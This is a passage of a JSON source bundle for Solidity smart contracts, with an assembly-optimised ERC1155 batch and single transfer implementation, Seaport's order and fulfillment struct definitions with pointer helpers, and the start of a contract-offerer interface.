bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let from_ := shl(96, from)\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, to_))\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x20, amount)\n // forgefmt: disable-next-line\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), shr(96, from_), shr(96, to_))\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n if (_hasCode(to)) _checkOnERC1155Received(from, to, id, amount, data);\n }\n\n /// @dev Equivalent to `_safeBatchTransfer(address(0), from, to, ids, amounts, data)`.\n function _safeBatchTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n _safeBatchTransfer(address(0), from, to, ids, amounts, data);\n }\n\n /// @dev Transfers `amounts` of `ids` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `ids` and `amounts` must have the same length.\n /// - `from` must have at least `amounts` of `ids`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function _safeBatchTransfer(\n address by,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let from_ := shl(96, from)\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, from_)\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, to_)\n mstore(0x20, fromSlotSeed)\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x20, fromSlotSeed)\n mstore(0x00, mload(add(ids, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), shr(96, from_), shr(96, to_))\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, ids, amounts, data);\n }\n if (_hasCode(to)) _checkOnERC1155BatchReceived(from, to, ids, amounts, data);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* HOOKS FOR OVERRIDING */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Override this function to return true if `_beforeTokenTransfer` is used.\n /// The is to help the compiler avoid producing dead bytecode.\n function _useBeforeTokenTransfer() internal view virtual returns (bool) {\n return false;\n }\n\n /// @dev Hook that is called before any token transfer.\n /// This includes minting and burning, as well as batched variants.\n ///\n /// The same hook is called on both single and batched variants.\n /// For single transfers, the length of the `id` and `amount` arrays are 1.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n /// @dev Override this function to return true if `_afterTokenTransfer` is used.\n /// The is to help the compiler avoid producing dead bytecode.\n function _useAfterTokenTransfer() internal view virtual returns (bool) {\n return false;\n }\n\n /// @dev Hook that is called after any token transfer.\n /// This includes minting and burning, as well as batched variants.\n ///\n /// The same hook is called on both single and batched variants.\n /// For single transfers, the length of the `id` and `amount` arrays are 1.\n function _afterTokenTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PRIVATE HELPERS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Helper for calling the `_afterTokenTransfer` hook.\n /// The is to help the compiler avoid producing dead bytecode.\n function _afterTokenTransferCalldata(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) private {\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, ids, amounts, data);\n }\n }\n\n /// @dev Returns if `a` has bytecode of non-zero length.\n function _hasCode(address a) private view returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n result := extcodesize(a) // Can handle dirty upper bits.\n }\n }\n\n /// @dev Perform a call to invoke {IERC1155Receiver-onERC1155Received} on `to`.\n /// Reverts if the target does not support the function correctly.\n function _checkOnERC1155Received(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) private {\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155Received(address,address,uint256,uint256,bytes)`.\n mstore(m, 0xf23a6e61)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), shr(96, shl(96, from)))\n mstore(add(m, 0x60), id)\n mstore(add(m, 0x80), amount)\n mstore(add(m, 0xa0), 0xa0)\n let n := mload(data)\n mstore(add(m, 0xc0), n)\n if n { pop(staticcall(gas(), 4, add(data, 0x20), n, add(m, 0xe0), n)) }\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), add(0xc4, n), m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xf23a6e61))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /// @dev Perform a call to invoke {IERC1155Receiver-onERC1155BatchReceived} on `to`.\n /// Reverts if the target does not support the function correctly.\n function _checkOnERC1155BatchReceived(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) private {\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.\n mstore(m, 0xbc197c81)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), shr(96, shl(96, from)))\n // Copy the `ids`.\n mstore(add(m, 0x60), 0xa0)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0xc0)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n let s := add(0xa0, returndatasize())\n mstore(add(m, 0x80), s)\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n // Copy the `data`.\n mstore(add(m, 0xa0), add(s, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, mload(data))\n pop(staticcall(gas(), 4, data, n, o, n))\n n := sub(add(o, returndatasize()), add(m, 0x1c))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), n, m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xbc197c81))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /// @dev Returns `x` in an array with a single element.\n function _single(uint256 x) private pure returns (uint256[] memory result) {\n assembly {\n result := mload(0x40)\n mstore(0x40, add(result, 0x40))\n mstore(result, 1)\n mstore(add(result, 0x20), x)\n }\n }\n}\n"
},
"lib/seaport/lib/seaport-types/src/lib/ConsiderationStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {\n BasicOrderType,\n ItemType,\n OrderType,\n Side\n} from \"./ConsiderationEnums.sol\";\n\nimport {\n CalldataPointer,\n MemoryPointer\n} from \"../helpers/PointerLibraries.sol\";\n\n/**\n * @dev An order contains eleven components: an offerer, a zone (or account that\n * can cancel the order or restrict who can fulfill the order depending on\n * the type), the order type (specifying partial fill support as well as\n * restricted order status), the start and end time, a hash that will be\n * provided to the zone when validating restricted orders, a salt, a key\n * corresponding to a given conduit, a counter, and an arbitrary number of\n * offer items that can be spent along with consideration items that must\n * be received by their respective recipient.\n */\nstruct OrderComponents {\n address offerer;\n address zone;\n OfferItem[] offer;\n ConsiderationItem[] consideration;\n OrderType orderType;\n uint256 startTime;\n uint256 endTime;\n bytes32 zoneHash;\n uint256 salt;\n bytes32 conduitKey;\n uint256 counter;\n}\n\n/**\n * @dev An offer item has five components: an item type (ETH or other native\n * tokens, ERC20, ERC721, and ERC1155, as well as criteria-based ERC721 and\n * ERC1155), a token address, a dual-purpose \"identifierOrCriteria\"\n * component that will either represent a tokenId or a merkle root\n * depending on the item type, and a start and end amount that support\n * increasing or decreasing amounts over the duration of the respective\n * order.\n */\nstruct OfferItem {\n ItemType itemType;\n address token;\n uint256 identifierOrCriteria;\n uint256 startAmount;\n uint256 endAmount;\n}\n\n/**\n * @dev A consideration item has the same five components as an offer item and\n * an additional sixth component designating the required recipient of the\n * item.\n */\nstruct ConsiderationItem {\n ItemType itemType;\n address token;\n uint256 identifierOrCriteria;\n uint256 startAmount;\n uint256 endAmount;\n address payable recipient;\n}\n\n/**\n * @dev A spent item is translated from a utilized offer item and has four\n * components: an item type (ETH or other native tokens, ERC20, ERC721, and\n * ERC1155), a token address, a tokenId, and an amount.\n */\nstruct SpentItem {\n ItemType itemType;\n address token;\n uint256 identifier;\n uint256 amount;\n}\n\n/**\n * @dev A received item is translated from a utilized consideration item and has\n * the same four components as a spent item, as well as an additional fifth\n * component designating the required recipient of the item.\n */\nstruct ReceivedItem {\n ItemType itemType;\n address token;\n uint256 identifier;\n uint256 amount;\n address payable recipient;\n}\n\n/**\n * @dev For basic orders involving ETH / native / ERC20 <=> ERC721 / ERC1155\n * matching, a group of six functions may be called that only requires a\n * subset of the usual order arguments. Note the use of a \"basicOrderType\"\n * enum; this represents both the usual order type as well as the \"route\"\n * of the basic order (a simple derivation function for the basic order\n * type is `basicOrderType = orderType + (4 * basicOrderRoute)`.)\n */\nstruct BasicOrderParameters {\n // calldata offset\n address considerationToken; // 0x24\n uint256 considerationIdentifier; // 0x44\n uint256 considerationAmount; // 0x64\n address payable offerer; // 0x84\n address zone; // 0xa4\n address offerToken; // 0xc4\n uint256 offerIdentifier; // 0xe4\n uint256 offerAmount; // 0x104\n BasicOrderType basicOrderType; // 0x124\n uint256 startTime; // 0x144\n uint256 endTime; // 0x164\n bytes32 zoneHash; // 0x184\n uint256 salt; // 0x1a4\n bytes32 offererConduitKey; // 0x1c4\n bytes32 fulfillerConduitKey; // 0x1e4\n uint256 totalOriginalAdditionalRecipients; // 0x204\n AdditionalRecipient[] additionalRecipients; // 0x224\n bytes signature; // 0x244\n // Total length, excluding dynamic array data: 0x264 (580)\n}\n\n/**\n * @dev Basic orders can supply any number of additional recipients, with the\n * implied assumption that they are supplied from the offered ETH (or other\n * native token) or ERC20 token for the order.\n */\nstruct AdditionalRecipient {\n uint256 amount;\n address payable recipient;\n}\n\n/**\n * @dev The full set of order components, with the exception of the counter,\n * must be supplied when fulfilling more sophisticated orders or groups of\n * orders. The total number of original consideration items must also be\n * supplied, as the caller may specify additional consideration items.\n */\nstruct OrderParameters {\n address offerer; // 0x00\n address zone; // 0x20\n OfferItem[] offer; // 0x40\n ConsiderationItem[] consideration; // 0x60\n OrderType orderType; // 0x80\n uint256 startTime; // 0xa0\n uint256 endTime; // 0xc0\n bytes32 zoneHash; // 0xe0\n uint256 salt; // 0x100\n bytes32 conduitKey; // 0x120\n uint256 totalOriginalConsiderationItems; // 0x140\n // offer.length // 0x160\n}\n\n/**\n * @dev Orders require a signature in addition to the other order parameters.\n */\nstruct Order {\n OrderParameters parameters;\n bytes signature;\n}\n\n/**\n * @dev Advanced orders include a numerator (i.e. a fraction to attempt to fill)\n * and a denominator (the total size of the order) in addition to the\n * signature and other order parameters. It also supports an optional field\n * for supplying extra data; this data will be provided to the zone if the\n * order type is restricted and the zone is not the caller, or will be\n * provided to the offerer as context for contract order types.\n */\nstruct AdvancedOrder {\n OrderParameters parameters;\n uint120 numerator;\n uint120 denominator;\n bytes signature;\n bytes extraData;\n}\n\n/**\n * @dev Orders can be validated (either explicitly via `validate`, or as a\n * consequence of a full or partial fill), specifically cancelled (they can\n * also be cancelled in bulk via incrementing a per-zone counter), and\n * partially or fully filled (with the fraction filled represented by a\n * numerator and denominator).\n */\nstruct OrderStatus {\n bool isValidated;\n bool isCancelled;\n uint120 numerator;\n uint120 denominator;\n}\n\n/**\n * @dev A criteria resolver specifies an order, side (offer vs. consideration),\n * and item index. It then provides a chosen identifier (i.e. tokenId)\n * alongside a merkle proof demonstrating the identifier meets the required\n * criteria.\n */\nstruct CriteriaResolver {\n uint256 orderIndex;\n Side side;\n uint256 index;\n uint256 identifier;\n bytes32[] criteriaProof;\n}\n\n/**\n * @dev A fulfillment is applied to a group of orders. It decrements a series of\n * offer and consideration items, then generates a single execution\n * element. A given fulfillment can be applied to as many offer and\n * consideration items as desired, but must contain at least one offer and\n * at least one consideration that match. The fulfillment must also remain\n * consistent on all key parameters across all offer items (same offerer,\n * token, type, tokenId, and conduit preference) as well as across all\n * consideration items (token, type, tokenId, and recipient).\n */\nstruct Fulfillment {\n FulfillmentComponent[] offerComponents;\n FulfillmentComponent[] considerationComponents;\n}\n\n/**\n * @dev Each fulfillment component contains one index referencing a specific\n * order and another referencing a specific offer or consideration item.\n */\nstruct FulfillmentComponent {\n uint256 orderIndex;\n uint256 itemIndex;\n}\n\n/**\n * @dev An execution is triggered once all consideration items have been zeroed\n * out. It sends the item in question from the offerer to the item's\n * recipient, optionally sourcing approvals from either this contract\n * directly or from the offerer's chosen conduit if one is specified. An\n * execution is not provided as an argument, but rather is derived via\n * orders, criteria resolvers, and fulfillments (where the total number of\n * executions will be less than or equal to the total number of indicated\n * fulfillments) and returned as part of `matchOrders`.\n */\nstruct Execution {\n ReceivedItem item;\n address offerer;\n bytes32 conduitKey;\n}\n\n/**\n * @dev Restricted orders are validated post-execution by calling validateOrder\n * on the zone. This struct provides context about the order fulfillment\n * and any supplied extraData, as well as all order hashes fulfilled in a\n * call to a match or fulfillAvailable method.\n */\nstruct ZoneParameters {\n bytes32 orderHash;\n address fulfiller;\n address offerer;\n SpentItem[] offer;\n ReceivedItem[] consideration;\n bytes extraData;\n bytes32[] orderHashes;\n uint256 startTime;\n uint256 endTime;\n bytes32 zoneHash;\n}\n\n/**\n * @dev Zones and contract offerers can communicate which schemas they implement\n * along with any associated metadata related to each schema.\n */\nstruct Schema {\n uint256 id;\n bytes metadata;\n}\n\nusing StructPointers for OrderComponents global;\nusing StructPointers for OfferItem global;\nusing StructPointers for ConsiderationItem global;\nusing StructPointers for SpentItem global;\nusing StructPointers for ReceivedItem global;\nusing StructPointers for BasicOrderParameters global;\nusing StructPointers for AdditionalRecipient global;\nusing StructPointers for OrderParameters global;\nusing StructPointers for Order global;\nusing StructPointers for AdvancedOrder global;\nusing StructPointers for OrderStatus global;\nusing StructPointers for CriteriaResolver global;\nusing StructPointers for Fulfillment global;\nusing StructPointers for FulfillmentComponent global;\nusing StructPointers for Execution global;\nusing StructPointers for ZoneParameters global;\n\n/**\n * @dev This library provides a set of functions for converting structs to\n * pointers.\n */\nlibrary StructPointers {\n /**\n * @dev Get a MemoryPointer from OrderComponents.\n *\n * @param obj The OrderComponents object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderComponents memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderComponents.\n *\n * @param obj The OrderComponents object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderComponents calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OfferItem.\n *\n * @param obj The OfferItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OfferItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OfferItem.\n *\n * @param obj The OfferItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OfferItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ConsiderationItem.\n *\n * @param obj The ConsiderationItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ConsiderationItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ConsiderationItem.\n *\n * @param obj The ConsiderationItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ConsiderationItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from SpentItem.\n *\n * @param obj The SpentItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n SpentItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from SpentItem.\n *\n * @param obj The SpentItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n SpentItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ReceivedItem.\n *\n * @param obj The ReceivedItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ReceivedItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ReceivedItem.\n *\n * @param obj The ReceivedItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ReceivedItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from BasicOrderParameters.\n *\n * @param obj The BasicOrderParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n BasicOrderParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from BasicOrderParameters.\n *\n * @param obj The BasicOrderParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n BasicOrderParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from AdditionalRecipient.\n *\n * @param obj The AdditionalRecipient object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n AdditionalRecipient memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from AdditionalRecipient.\n *\n * @param obj The AdditionalRecipient object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n AdditionalRecipient calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OrderParameters.\n *\n * @param obj The OrderParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderParameters.\n *\n * @param obj The OrderParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Order.\n *\n * @param obj The Order object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Order memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Order.\n *\n * @param obj The Order object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Order calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from AdvancedOrder.\n *\n * @param obj The AdvancedOrder object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n AdvancedOrder memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from AdvancedOrder.\n *\n * @param obj The AdvancedOrder object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n AdvancedOrder calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OrderStatus.\n *\n * @param obj The OrderStatus object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderStatus memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderStatus.\n *\n * @param obj The OrderStatus object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderStatus calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from CriteriaResolver.\n *\n * @param obj The CriteriaResolver object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n CriteriaResolver memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from CriteriaResolver.\n *\n * @param obj The CriteriaResolver object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n CriteriaResolver calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Fulfillment.\n *\n * @param obj The Fulfillment object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Fulfillment memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Fulfillment.\n *\n * @param obj The Fulfillment object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Fulfillment calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from FulfillmentComponent.\n *\n * @param obj The FulfillmentComponent object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n FulfillmentComponent memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from FulfillmentComponent.\n *\n * @param obj The FulfillmentComponent object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n FulfillmentComponent calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Execution.\n *\n * @param obj The Execution object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Execution memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Execution.\n *\n * @param obj The Execution object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Execution calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ZoneParameters.\n *\n * @param obj The ZoneParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ZoneParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ZoneParameters.\n *\n * @param obj The ZoneParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ZoneParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n}\n"
},
"lib/seaport/lib/seaport-types/src/interfaces/ContractOffererInterface.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {ReceivedItem, Schema, SpentItem} from \"../lib/ConsiderationStructs.sol\";\nimport {IERC165} from \"../interfaces/IERC165.sol\";\n\n/**\n * @title ContractOffererInterface\n * @notice Contains the minimum interfaces needed to interact with a contract\n * offerer.\n */\ninterface ContractOffererInterface is IERC165 {\n /**\n * @dev Generates an order with the specified minimum and maximum spent\n * items, and optional context (supplied as extraData).\n *\n * @param fulfiller The address of the fulfiller.\n * @param minimumReceived The minimum items that the caller is willing to\n * receive.\n * @param maximumSpent The maximum items the caller is willing to spend.\n * @param context Additional context of the order.\n *\n * @return offer A tuple containing the offer items.\n * @return consideration A tuple containing the consideration items.\n */\n function generateOrder(\n address fulfiller,\n SpentItem[] calldata minimumReceived,\n SpentItem[] calldata maximumSpent,\n bytes calldata context // encoded based on the schemaID\n ) external returns (SpentItem[] memory offer, ReceivedItem[] memory consideration);\n\n /**\n * @dev Ratifies an order with the specified offer, consideration, and\n * optional context (supplied as extraData).\n *\n * @param offer The offer items.\n * @param consideration The consideration items.\n * @param context Additional context of the order.\n * @param orderHashes The hashes to ratify.\n * @param contractNonce The nonce of the contract.\n *\n * @return ratifyOrderMagicValue The magic value returned by the contract\n * offerer.\n */\n function ratifyOrder(\n SpentItem[] calldata offer,\n ReceivedItem[] calldata consideration,\n bytes calldata context, // encoded based on the schemaID\n bytes32[] calldata orderHashes,\n uint256 contractNonce\n ) external returns (bytes4 ratifyOrderMagicValue);\n\n /**\n * @dev View function to 